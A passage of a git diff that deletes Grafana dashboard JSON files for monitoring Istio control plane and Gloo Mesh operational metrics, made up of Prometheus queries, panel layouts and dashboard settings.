"histogram_quantile(0.99, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p99", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.999, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p99.9", - "range": true, - "refId": "D" - } - ], - "title": "Proxy Push Time", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 23 - }, - "id": 45, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_inbound_listener{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Inbound Listeners", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_http_over_current_tcp{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (http over current tcp)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_tcp_over_current_tcp{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (tcp over current tcp)", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_tcp_over_current_http{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (tcp over current http)", - "range": true, - "refId": "D" - } - ], - "title": "Conflicts", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 23 - }, - "id": 47, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "avg(pilot_virt_services{app=\"istiod\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Virtual Services", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "avg(pilot_services{app=\"istiod\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Services", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds{app=\"istiod\", cluster=~\"$cluster\"}) by (pod)", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Connected Endpoints {{pod}}", - "range": true, - "refId": "E" - } - ], - "title": "ADS Monitoring", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 31 - }, - "id": 64, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Envoy Information", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows details about Envoy proxies in the mesh", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "ops" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 0, - "y": 32 - }, - "id": 40, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(envoy_cluster_upstream_cx_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Connections", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(envoy_cluster_upstream_cx_connect_fail{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Connection Failures", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(increase(envoy_server_hot_restart_epoch{cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Envoy Restarts", - "range": true, - "refId": "B" - } - ], - "title": "Envoy Details", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 8, - "y": 32 - }, - "id": 41, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(envoy_cluster_upstream_cx_active{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "XDS Active Connections", - "range": true, - "refId": "C", - "step": 2 - } - ], - "title": "XDS Active Connections", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the size of XDS requests and responses", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "Bps" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 16, - "y": 32 - }, - "id": 42, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "max(rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Response Bytes Max", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "quantile(0.5, rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Response Bytes Average", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "max(rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "XDS Request Bytes Max", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "quantile(.5, rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\"xds-grpc\", cluster=\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "XDS Request Bytes Average", - "range": true, - "refId": "C" - } - ], - "title": "XDS Requests Size", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 40 - }, - "id": 626, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Webhooks", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 41 - }, - "id": 629, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(galley_validation_passed[1m]))", - "interval": "", - "legendFormat": "Validations (Success)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(galley_validation_failed[1m]))", - "interval": "", - "legendFormat": "Validation (Failure)", - "range": true, - "refId": "B" - } - ], - "title": "Configuration Validation", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 41 - }, - "id": 630, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(sidecar_injection_success_total{cluster=\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Injections (Success)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(sidecar_injection_failure_total{cluster=\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Injections (Failure)", - "range": true, - "refId": "B" - } - ], - "title": "Sidecar Injection", - "type": "timeseries" - } - ], - "refresh": "5s", - "schemaVersion": 37, - "style": "dark", - "tags": [ - "istio", - "gloo" - ], - "templating": { - "list": [ - { - "current": { - "selected": true, - "text": "prometheus-GM", - "value": "prometheus-GM" - }, - "hide": 0, - "includeAll": false, - "multi": false, - "name": "datasource", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - }, - { - "current": {}, - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "definition": "label_values(istio_agent_pilot_xds, cluster)", - "hide": 0, - "includeAll": false, - "label": "Cluster", - "multi": true, - "name": "cluster", - "options": [], - "query": { - "query": "label_values(istio_agent_pilot_xds, cluster)", - "refId": "StandardVariableQuery" - }, - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "sort": 0, - "type": "query" - } - ] - }, - "time": { - "from": "now-15m", - "to": "now" - }, - "timepicker": { - "refresh_intervals": [ - "5s", - "10s", - "30s", - "1m", - "5m", - "15m", - "30m", - "1h", - "2h", - "1d" - ], - "time_options": [ - "5m", - "15m", - "1h", - "6h", - "12h", - "24h", - "2d", - "7d", - "30d" - ] - }, - "timezone": "browser", - "title": "Istio Control Plane Dashboard", - "uid": "3--MLVZZk", - "version": 10, - "weekStart": "" -} \ No newline at end of file diff --git a/gloo-mesh/enterprise/2-4/airgap/data/steps/gloo-platform-observability/operational-dashboard.json b/gloo-mesh/enterprise/2-4/airgap/data/steps/gloo-platform-observability/operational-dashboard.json deleted file mode 100644 index e69cebed10..0000000000 --- a/gloo-mesh/enterprise/2-4/airgap/data/steps/gloo-platform-observability/operational-dashboard.json +++ /dev/null @@ -1,2974 +0,0 @@ -{ - "annotations": { - "list": [ - { - "builtIn": 1, - "datasource": { - "type": "datasource", - "uid": "grafana" - }, - "enable": true, - "hide": true, - "iconColor": "rgba(0, 211, 255, 1)", - "name": "Annotations & Alerts", - "target": { - "limit": 100, - "matchAny": false, - "tags": [], - "type": "dashboard" - }, - "type": "dashboard" - } - ] - }, - "editable": true, - "fiscalYearStartMonth": 0, - "graphTooltip": 1, - "id": 28, - "links": [], - "liveNow": false, - "panels": [ - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 0 - }, - "id": 43, - "panels": [ - { - "cards": {}, - "color": { - "cardColor": "#b4ff00", - "colorScale": "sqrt", - "colorScheme": "interpolateCool", - "exponent": 0.5, - "mode": "spectrum" - }, - "dataFormat": "tsbuckets", - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "custom": { - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "scaleDistribution": { - "type": "linear" - } - } - }, - "overrides": [] - }, - "gridPos": { - "h": 9, - "w": 6, - "x": 0, - "y": 1 - }, - "heatmap": {}, - "hideZeroBuckets": false, - "highlightCards": true, - "id": 47, - "legend": { - "show": false - }, - "maxDataPoints": 25, - "options": { - "calculate": false, - "calculation": {}, - "cellGap": 2, - "cellValues": {}, - "color": { - "exponent": 0.5, - "fill": "#b4ff00", - "mode": "scheme", - "reverse": false, - "scale": "exponential", - "scheme": "Cool", - "steps": 128 - }, - "exemplars": { - "color": "rgba(255,0,255,0.7)" - }, - "filterValues": { - "le": 1e-9 - }, - "legend": { - "show": false - }, - "rowsFrame": { - "layout": "auto" - }, - "showValue": "never", - "tooltip": { - "show": true, - "yHistogram": false - }, - "yAxis": { - "axisPlacement": "left", - "reverse": false, - "unit": "short" - } - }, - "pluginVersion": "9.3.1", - "reverseYBuckets": false, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le)", - "format": "heatmap", - "hide": false, - "interval": "", - "legendFormat": "{{le}}", - "refId": "B" - } - ], - "title": "Total Translation Times Histogram", - "tooltip": { - "show": true, - "showHistogram": false - }, - "type": "heatmap", - "xAxis": { - "show": true - }, - "yAxis": { - "format": "short", - "logBase": 1, - "show": true - }, - "yBucketBound": "auto" - }, - { - "cards": {}, - "color": { - "cardColor": "#b4ff00", - "colorScale": "sqrt", - "colorScheme": "interpolateCool", - "exponent": 0.5, - "mode": "spectrum" - }, - "dataFormat": "tsbuckets", - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "custom": { - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "scaleDistribution": { - "type": "linear" - } - } - }, - "overrides": [] - }, - "gridPos": { - "h": 9, - "w": 6, - "x": 6, - "y": 1 - }, - "heatmap": {}, - "hideZeroBuckets": false, - "highlightCards": true, - "id": 12, - "legend": { - "show": false - }, - "maxDataPoints": 25, - "options": { - "calculate": false, - "calculation": {}, - "cellGap": 2, - "cellValues": {}, - "color": { - "exponent": 0.5, - "fill": "#b4ff00", - "mode": "scheme", - "reverse": false, - "scale": "exponential", - "scheme": "Cool", - "steps": 128 - }, - "exemplars": { - "color": "rgba(255,0,255,0.7)" - }, - "filterValues": { - "le": 1e-9 - }, - "legend": { - "show": false - }, - "rowsFrame": { - "layout": "auto" - }, - "showValue": "never", - "tooltip": { - "show": true, - "yHistogram": false - }, - "yAxis": { - "axisPlacement": "left", - "reverse": false, - "unit": "short" - } - }, - "pluginVersion": "9.3.1", - "reverseYBuckets": false, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(gloo_mesh_reconciler_time_sec_bucket[1m])) by (le)", - "hide": false, - "interval": "", - "legendFormat": "{{le}}", - "refId": "B" - } - ], - "title": "Total Recon Times Histogram", - "tooltip": { - "show": true, - "showHistogram": false - }, - "type": "heatmap", - "xAxis": { - "show": true - }, - "yAxis": { - "format": "short", - "logBase": 1, - "show": true - }, - "yBucketBound": "auto" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": false, - "inspect": false - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Value" - }, - "properties": [ - { - "id": "custom.width", - "value": 66 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "workspace" - }, - "properties": [ - { - "id": "custom.width", - "value": 209 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "namespace" - }, - "properties": [ - { - "id": "custom.width", - "value": 173 - } - ] - } - ] - }, - "gridPos": { - "h": 5, - "w": 12, - "x": 12, - "y": 1 - }, - "id": 31, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": true, - "displayName": "Value" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(translation_warning) by (pod,namespace,workspace,gvk)", - "format": "table", - "hide": false, - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Translation Warnings", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true - }, - "indexByName": { - "Time": 0, - "Value": 5, - "gvk": 4, - "namespace": 3, - "pod": 1, - "workspace": 2 - }, - "renameByName": {} - } - } - ], - "type": "table" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": false, - "inspect": false - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Value" - }, - "properties": [ - { - "id": "custom.width", - "value": 66 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "workspace" - }, - "properties": [ - { - "id": "custom.width", - "value": 209 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "namespace" - }, - "properties": [ - { - "id": "custom.width", - "value": 173 - } - ] - } - ] - }, - "gridPos": { - "h": 5, - "w": 12, - "x": 12, - "y": 6 - }, - "id": 45, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": true, - "displayName": "Value" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(translation_error) by (pod,namespace,workspace,gvk)", - "format": "table", - "hide": false, - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Translation Errors", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true - }, - "indexByName": { - "Time": 0, - "Value": 5, - "gvk": 4, - "namespace": 3, - "pod": 1, - "workspace": 2 - }, - "renameByName": {} - } - } - ], - "type": "table" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 0, - "y": 10 - }, - "id": 44, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.99, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P99", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.90, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P90", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.75, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P75", - "refId": "C" - } - ], - "title": "Translation Time Percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 6, - "y": 10 - }, - "id": 46, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.99, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P99", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.90, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P90", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.75, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P75", - "refId": "C" - } - ], - "title": "Recon Time Percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Number of translators that can run concurrently", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 12, - "y": 11 - }, - "id": 8, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "center", - "orientation": "auto", - 